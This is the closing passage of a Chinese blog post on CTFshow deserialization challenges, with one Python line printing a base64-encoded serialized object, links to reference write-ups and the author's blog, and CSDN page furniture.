print(base64.b64encode(ctfshow_ser))

OK,反序列化AK~

本人博客:https://yinkstudio.xyz,欢迎关注~

参考博客:

CTFshow-WEB入门-反序列化_feng的博客-CSDN博客_ctfshow 反序列化

CTFSHOW 反序列化篇_羽的博客-CSDN博客_ctfshow 反序列化

[CTFSHOW]反序列化(仅更新必要的题目)_Y4tacker的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值